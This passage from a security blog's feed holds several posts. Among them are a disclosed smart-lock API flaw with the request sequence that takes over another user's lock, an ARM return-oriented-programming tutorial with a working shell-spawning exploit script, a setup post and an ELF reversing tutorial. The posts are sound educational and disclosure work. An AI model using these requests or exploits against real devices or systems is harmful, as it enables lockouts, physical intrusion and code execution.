      "id":&lt;LOCK ID&gt;,
      "isLock":0,
      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
      "lockPwd":"000000",
      "mac":"XX:XX:XX:XX:XX:XX",
      "name":"lock",
      "radioName":"BlueFPL",
      "type":0
   },
   "status":"2000"
}
</code></pre>

<h3 id="request-2">Request 2</h3>

<pre><code>POST /oklock/lock/getDeviceInfo

{"barcode":"https://app.oklok.com.cn/app.html?id=&lt;BARCODE&gt;"}
</code></pre>

<p>Response:</p>

<pre><code>   "result":{
      "account":"email@some.website",
      "alarm":0,
      "barcode":"&lt;BARCODE&gt;",
      "chipType":"1",
      "createAt":"2019-05-14 09:32:23.0",
      "deviceId":"",
      "electricity":"95",
      "firmwareVersion":"2.3",
      "gsmVersion":"",
      "id":&lt;LOCK ID&gt;,
      "isLock":0,
      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
      "lockPwd":"000000",
      "mac":"XX:XX:XX:XX:XX:XX",
      "name":"lock",
      "radioName":"BlueFPL",
      "type":0,
      "userId":&lt;USER ID&gt;
   }
</code></pre>

<h3 id="request-3">Request 3</h3>

<pre><code>POST /oklock/lock/unbind

{"lockId":"&lt;LOCK ID&gt;","userId":&lt;USER ID&gt;}
</code></pre>

<h3 id="request-4">Request 4</h3>

<pre><code>POST /oklock/lock/bind

{"name":"newname","userId":&lt;USER ID&gt;,"mac":"XX:XX:XX:XX:XX:XX"}
</code></pre>

<h2 id="thats-it-the-scary-stuff">That&#8217;s it! (&amp; the scary stuff)</h2>

<p>You should have the lock transferred to your account. The severity of this
issue lies in the fact that the original owner completely loses access to
their lock. They can&#8217;t even &#8220;rebind&#8221; to get it back, since the current owner 
(the attacker) needs to authorize that. </p>

<p>To add to that, roughly 15,000 user accounts&#8217; info are exposed via IDOR.
Ilja, a cool dude I met on Telegram, noticed locks named &#8220;carlock&#8221;, 
&#8220;garage&#8221;, &#8220;MainDoor&#8221;, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p>

<p><em>shudders</em></p>

<h2 id="proof-of-concept">Proof of Concept</h2>

<p><a href="https://twitter.com/icyphox/status/1158396372778807296">PoC Video</a></p>

<p><a href="https://github.com/icyphox/pwnfb50">Exploit code</a></p>

<h2 id="disclosure-timeline">Disclosure timeline</h2>

<ul>
<li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li>
<li><strong>27th June, 2019</strong>: Vendor notified about the issue</li>
<li><strong>2nd July, 2019</strong>: CVE-2019-13143 reserved</li>
<li>No response from vendor</li>
<li><strong>2nd August 2019</strong>: Public disclosure</li>
</ul>

<h2 id="lessons-learnt">Lessons learnt</h2>

<p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You&#8217;re better off with the &#8220;dumb&#8221; ones
with keys. With the IoT plague spreading, it brings in a large attack surface
to things that were otherwise &#8220;unhackable&#8221; (try hacking a &#8220;dumb&#8221; toaster).</p>

<p>The IoT security scene is rife with bugs from over 10 years ago, like
executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development 
practices in general.</p>

<p>Our existing threat models and scenarios have to be updated to factor 
in these new exploitation possibilities. This also broadens the playing 
field for cyber warfare and mass surveillance campaigns. </p>

<h2 id="researcher-info">Researcher info</h2>

<p>This research was done at <a href="https://securelayer7.net">SecureLayer7</a>, Pune, IN by:</p>

<ul>
<li>Anirudh Oppiliappan (me)</li>
<li>S. Raghav Pillai (<a href="https://twitter.com/_vologue">@_vologue</a>)</li>
<li>Shubham Chougule (<a href="https://twitter.com/shubhamtc">@shubhamtc</a>)</li>
</ul>

<div class="footnotes">
<hr />
<ol>
<li id="fn-1">
<p><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/">This</a> article discusses a similar smart lock, but they broke the encryption.&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
</li>

<li id="fn-2">
<p>Thanks to Ilja Shaposhnikov (@drakylar).&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
</li>

<li id="fn-3">
<p><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf">PDF</a>&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p>
</li>
</ol>
</div>
]]></description><link>https://icyphox.sh/blog/fb50</link><pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/fb50</guid></item><item><title>Return Oriented Programming on ARM (32-bit)</title><description><![CDATA[<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
assembly to follow along. I highly recommend
<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly
Basics</a>. Once you’re
comfortable with it, proceed with the next bit&#8212;environment setup.</p>

<h2 id="setup">Setup</h2>

<p>Since we’re working with the ARM architecture, there are two options to go
forth with: </p>

<ol>
<li>Emulate&#8212;head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU. 
And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>.
The scripts found inside should be self-explanatory.</li>
<li>Use actual ARM hardware, like an RPi.</li>
</ol>

<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
may use <code>radare2</code>, IDA or anything else, really. All of which can be
trivially installed.</p>

<p>And for the sake of simplicity, disable ASLR:</p>

<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> &gt; /proc/sys/kernel/randomize_va_space
</code></pre></div>

<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a>
<a href="/static/files/roplevel2.c">roplevel2</a>. </p>

<p>Compile it:</p>

<div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2
</code></pre></div>

<p>With that out of the way, here’s a quick run down of what ROP actually is.</p>

<h2 id="a-primer-on-rop">A primer on ROP</h2>

<p>ROP or Return Oriented Programming is a modern exploitation technique that’s
used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>.
In essence, no code in the binary is actually modified and the entire exploit
is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p>

<p>A gadget is essentially a small sequence of code (instructions), ending with
a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM
code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>.
These gadgets are <em>chained</em> together by jumping (returning) from one onto the other
to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain,
there’s generally a call to <code>system()</code>, to acheive code execution.</p>

<p>In practice, the process of executing a ropchain is something like this:</p>

<ul>
<li>confirm the existence of a stack-based buffer overflow</li>
<li>identify the offset at which the instruction pointer gets overwritten</li>
<li>locate the addresses of the gadgets you wish to use</li>
<li>craft your input keeping in mind the stack’s layout, and chain the addresses
of your gadgets</li>
</ul>

<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&amp;list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&amp;index=46&amp;t=0s">beautiful video</a> where he explains ROP using “weird machines”. 
Check it out, it might be just what you needed for that “aha!” moment :)</p>

<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully
that should put things into perspective.</p>

<h2 id="exploring-our-binary">Exploring our binary</h2>

<p>Start by running it, and entering any arbitrary string. On entering a fairly
large string, say, “A” × 20, we
see a segmentation fault occur.</p>

<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>

<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p>

<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p>

<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and 
<code>gadget</code>. Disassembling the <code>main</code> function:</p>

<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p>

<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls
to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are 
never actually called.</p>

<p>Disassembling the <code>gadget</code> function:</p>

<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p>

<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>,
which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code>
instruction in the middle. This is a <strong>gadget</strong>.</p>

<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where
arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code>
are used for this. So this gadget effectively allows us to pass arguments to
functions using <code>r0</code>, and subsequently jumping to them by passing its address
in <code>pc</code>. Neat.</p>

<p>Moving on to the disassembly of the <code>winner</code> function:</p>

<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p>

<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
So our end goal here is to, quite obviously, execute code via the <code>system()</code>
function.</p>

<p>Now that we have an overview of what’s in the binary, let’s formulate a method
of exploitation by messing around with inputs.</p>

<h2 id="messing-around-with-inputs">Messing around with inputs :^)</h2>

<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
screenshot.</p>

<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p>

<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
the <code>pc</code> has been overwritten with our input.
So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>

<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>

<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
of the second instruction&#8212;<code>add r11, sp, #4</code>. 
For this, we’ll use Python to print our input string replacing <code>FFFF</code> with
the address of <code>winner</code>. Note the endianness.</p>

<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">&#39;print(&quot;AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00&quot;)&#39;</span> <span class="p">|</span> ./rop2
</code></pre></div>

<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>

<p>The reason we don’t jump to the first instruction is because we want to control the stack
ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
those out after <code>winner</code> is done executing and we will no longer control 
where it jumps to.</p>

<p>So that didn’t do much, just prints out a string “Nothing much here&#8230;”. 
But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
to do what we want (run a command, execute a shell, etc.).</p>

<p>To do that, we’ll follow a multi-step process: </p>

<ol>
<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li>
<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
<code>r0</code>.</li>
<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li>
</ol>

<p>The pseudo-code is something like this:</p>

<pre><code>string = AAAABBBBCCCCDDDDEEEE
gadget = # addr of gadget
binsh  = # addr of /bin/sh
system = # addr of system()

print(string + gadget + binsh + system)
</code></pre>

<p>Clean and mean.</p>

<h2 id="the-exploit">The exploit</h2>

<p>To write the exploit, we’ll use Python and the absolute godsend of a library&#8212;<code>struct</code>.
It allows us to pack the bytes of addresses to the endianness of our choice.
It probably does a lot more, but who cares.</p>

<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>

<pre><code>(gdb) find &amp;system, +9999999, "/bin/sh"
</code></pre>

<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p>

<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
found from the disassmblies from earlier. Here’s the final exploit code:</p>

<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span>

<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span>
<span class="n">string</span> <span class="o">=</span> <span class="s2">&quot;AAAABBBBCCCCDDDDEEEE&quot;</span>
<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span>
<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span>

<span class="nb">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span>
</code></pre></div>

<p>Honestly, not too far off from our pseudo-code :)</p>

<p>Let’s see it in action:</p>

<p><img src="/static/img/the_shell.png" alt="the shell!" /></p>

<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
when the pipe closes, since there’s no input coming in from STDIN.
To get around this, we use <code>cat(1)</code> which allows us to relay input through it
to the shell. Nifty trick.</p>

<h2 id="conclusion">Conclusion</h2>

<p>This was a fairly basic challenge, with everything laid out conveniently. 
Actual ropchaining is a little more involved, with a lot more gadgets to be chained
to acheive code execution.</p>

<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
]]></description><link>https://icyphox.sh/blog/rop-on-arm</link><pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/rop-on-arm</guid></item><item><title>My setup</title><description><![CDATA[<h2 id="hardware">Hardware</h2>

<p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13">HP Envy 13 (2018)</a> (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u,
8 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.</p>

<p>For my phone, I use a <a href="https://www.oneplus.in/6t">OnePlus 6T</a>, running stock <a href="https://www.oneplus.in/oxygenos">OxygenOS</a>. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted.
I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5">Nexus 5</a>, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.</p>

<p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/">Samsung Gear S3 Frontier</a>. Tizen is definitely better than Android Wear.</p>

<p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO">Dell SK-8110</a>. 
For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html">HP m150</a> gaming mouse. It’s the perfect size (and color).</p>

<p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html">Bose SoundLink II</a>. 
Great pair of headphones, although the ear cups need replacing.</p>

<h2 id="and-the-software">And the software</h2>

<p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io">elementary OS</a>. I used to be an Arch Linux elitist, complete with an esoteric
window manager, all riced. I now use whatever JustWorks™.</del></p>

<p><strong>Update</strong>: As of June 2019, I&#8217;ve switched over to a vanilla Debian 9 Stretch install,
running <a href="https://i3wm.org">i3</a> as my window manager. If you want, you can dig through my configs at my <a href="https://github.com/icyphox/dotfiles">dotfiles</a> repo. </p>

<p>Here’s a (riced) screenshot of my desktop. </p>

<p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p>

<p>Most of my work is done in either the browser, or the terminal.
My shell is pure <a href="http://www.zsh.org">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need
a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a>&#8212;<a href="https://github.com/icyphox/nicy">nicy</a>.
My primary text editor is <a href="https://neovim.org">nvim</a>. Again, all configs in my dotfiles repo linked above.
I manage all my passwords using <a href="https://passwordstore.org">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass">rofi-pass</a> to access them via <code>rofi</code>.</p>

<p>Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace
clean and a single command to drop into a Kali shell.</p>

<p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at <a href="https://x.icyphox.sh">x.icyphox.sh</a>. The UI is the wonderful <a href="https://github.com/zeit/serve">serve</a>, by <a href="https://zeit.co">ZEIT</a>.
The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. </p>

<p>I plan on converting my desktop back at home into a homeserver setup. Soon™.</p>
]]></description><link>https://icyphox.sh/blog/my-setup</link><pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/my-setup</guid></item><item><title>Python for Reverse Engineering #1: ELF Binaries</title><description><![CDATA[<p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p>

<p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.</p>

<h2 id="setup">Setup</h2>

<p>As the title suggests, you’re going to need a Python 3 interpreter before
anything else. Once you’ve confirmed beyond reasonable doubt that you do,
in fact, have a Python 3 interpreter installed on your system, run</p>

<div class="codehilite"><pre><span></span><code><span class="gp">$</span> pip install capstone pyelftools
</code></pre></div>

<p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p>

<p>With that out of the way, let’s start with an example of a basic reversing
challenge.</p>

<div class="codehilite"><pre><span></span><code><span class="cm">/* chall.c */</span>

<span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp"></span>
<span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"></span>
<span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp"></span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
   <span class="kt">char</span> <span class="o">*</span><span class="n">pw</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span>
   <span class="n">pw</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;a&#39;</span><span class="p">;</span>
   <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
       <span class="n">pw</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">pw</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
   <span class="p">}</span>
   <span class="n">pw</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;\0&#39;</span><span class="p">;</span>
   <span class="kt">char</span> <span class="o">*</span><span class="n">in</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
   <span class="n">printf</span><span class="p">(</span><span class="s">&quot;password: &quot;</span><span class="p">);</span>
   <span class="n">fgets</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>        <span class="c1">// &#39;abcdefghi&#39;</span>
   <span class="k">if</span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="n">pw</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
       <span class="n">printf</span><span class="p">(</span><span class="s">&quot;haha yes!</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
   <span class="p">}</span>
   <span class="k">else</span> <span class="p">{</span>
       <span class="n">printf</span><span class="p">(</span><span class="s">&quot;nah dude</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
   <span class="p">}</span>
<span class="p">}</span>
</code></pre></div>

<p>Compile it with GCC/Clang:</p>

<div class="codehilite"><pre><span></span><code><span class="gp">$</span> gcc chall.c -o chall.elf
</code></pre></div>

<h2 id="scripting">Scripting</h2>

<p>For starters, let’s look at the different sections present in the binary.</p>

<div class="codehilite"><pre><span></span><code><span class="c1"># sections.py</span>

<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>

<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./chall.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
        <span class="nb">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">&#39;sh_addr&#39;</span><span class="p">]),</span> <span class="n">section</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
</code></pre></div>

<p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p>

<div class="codehilite"><pre><span></span><code><span class="go">› python sections.py</span>
<span class="go">0x238 .interp</span>
<span class="go">0x254 .note.ABI-tag</span>
<span class="go">0x274 .note.gnu.build-id</span>
<span class="go">0x298 .gnu.hash</span>
<span class="go">0x2c0 .dynsym</span>
<span class="go">0x3e0 .dynstr</span>
<span class="go">0x484 .gnu.version</span>
<span class="go">0x4a0 .gnu.version_r</span>
<span class="go">0x4c0 .rela.dyn</span>
<span class="go">0x598 .rela.plt</span>
<span class="go">0x610 .init</span>
<span class="go">0x630 .plt</span>
<span class="go">0x690 .plt.got</span>
<span class="go">0x6a0 .text</span>
<span class="go">0x8f4 .fini</span>
<span class="go">0x900 .rodata</span>
<span class="go">0x924 .eh_frame_hdr</span>
<span class="go">0x960 .eh_frame</span>
<span class="go">0x200d98 .init_array</span>
<span class="go">0x200da0 .fini_array</span>
<span class="go">0x200da8 .dynamic</span>
<span class="go">0x200f98 .got</span>
<span class="go">0x201000 .data</span>
<span class="go">0x201010 .bss</span>
<span class="go">0x0 .comment</span>
<span class="go">0x0 .symtab</span>
<span class="go">0x0 .strtab</span>
<span class="go">0x0 .shstrtab</span>
</code></pre></div>

<p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p>

<p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p>

<div class="codehilite"><pre><span></span><code><span class="c1"># disas1.py</span>

<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
<span class="kn">from</span> <span class="nn">capstone</span> <span class="kn">import</span> <span class="o">*</span>

<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./bin.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">elf</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
    <span class="n">code</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">get_section_by_name</span><span class="p">(</span><span class="s1">&#39;.text&#39;</span><span class="p">)</span>
    <span class="n">ops</span> <span class="o">=</span> <span class="n">code</span><span class="o">.</span><span class="n">data</span><span class="p">()</span>
    <span class="n">addr</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="s1">&#39;sh_addr&#39;</span><span class="p">]</span>
    <span class="n">md</span> <span class="o">=</span> <span class="n">Cs</span><span class="p">(</span><span class="n">CS_ARCH_X86</span><span class="p">,</span> <span class="n">CS_MODE_64</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">md</span><span class="o">.</span><span class="n">disasm</span><span class="p">(</span><span class="n">ops</span><span class="p">,</span> <span class="n">addr</span><span class="p">):</span>        
        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;0x</span><span class="si">{i.address:x}</span><span class="s1">:</span><span class="se">\t</span><span class="si">{i.mnemonic}</span><span class="se">\t</span><span class="si">{i.op_str}</span><span class="s1">&#39;</span><span class="p">)</span>
</code></pre></div>

<p>The code is fairly straightforward (I think). We should be seeing this, on running</p>

<div class="codehilite"><pre><span></span><code><span class="go">› python disas1.py | less      </span>
<span class="go">0x6a0: xor ebp, ebp</span>
<span class="go">0x6a2: mov r9, rdx</span>
<span class="go">0x6a5: pop rsi</span>
<span class="go">0x6a6: mov rdx, rsp</span>
<span class="go">0x6a9: and rsp, 0xfffffffffffffff0</span>
<span class="go">0x6ad: push rax</span>
<span class="go">0x6ae: push rsp</span>
<span class="go">0x6af: lea r8, [rip + 0x23a]</span>
<span class="go">0x6b6: lea rcx, [rip + 0x1c3]</span>
<span class="go">0x6bd: lea rdi, [rip + 0xe6]</span>
<span class="go">**0x6c4: call qword ptr [rip + 0x200916]**</span>
<span class="go">0x6ca: hlt</span>
<span class="go">... snip ...</span>
</code></pre></div>

<p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p>

<p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html">linuxbase.org</a></p>

<blockquote>
  <p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p>
</blockquote>

<p>To try and find these relocation entries, we write a third script.</p>

<div class="codehilite"><pre><span></span><code><span class="c1"># relocations.py</span>

<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
<span class="kn">from</span> <span class="nn">elftools.elf.relocation</span> <span class="kn">import</span> <span class="n">RelocationSection</span>

<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./chall.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
        <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">section</span><span class="p">,</span> <span class="n">RelocationSection</span><span class="p">):</span>
            <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;</span><span class="si">{section.name}</span><span class="s1">:&#39;</span><span class="p">)</span>
            <span class="n">symbol_table</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">get_section</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">&#39;sh_link&#39;</span><span class="p">])</span>
            <span class="k">for</span> <span class="n">relocation</span> <span class="ow">in</span> <span class="n">section</span><span class="o">.</span><span class="n">iter_relocations</span><span class="p">():</span>
                <span class="n">symbol</span> <span class="o">=</span> <span class="n">symbol_table</span><span class="o">.</span><span class="n">get_symbol</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">&#39;r_info_sym&#39;</span><span class="p">])</span>
                <span class="n">addr</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">&#39;r_offset&#39;</span><span class="p">])</span>
                <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;</span><span class="si">{symbol.name}</span><span class="s1"> </span><span class="si">{addr}</span><span class="s1">&#39;</span><span class="p">)</span>
</code></pre></div>

<p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p>

<div class="codehilite"><pre><span></span><code><span class="go">› python relocations.py</span>
<span class="go">.rela.dyn:</span>
<span class="go"> 0x200d98</span>
<span class="go"> 0x200da0</span>
<span class="go"> 0x201008</span>
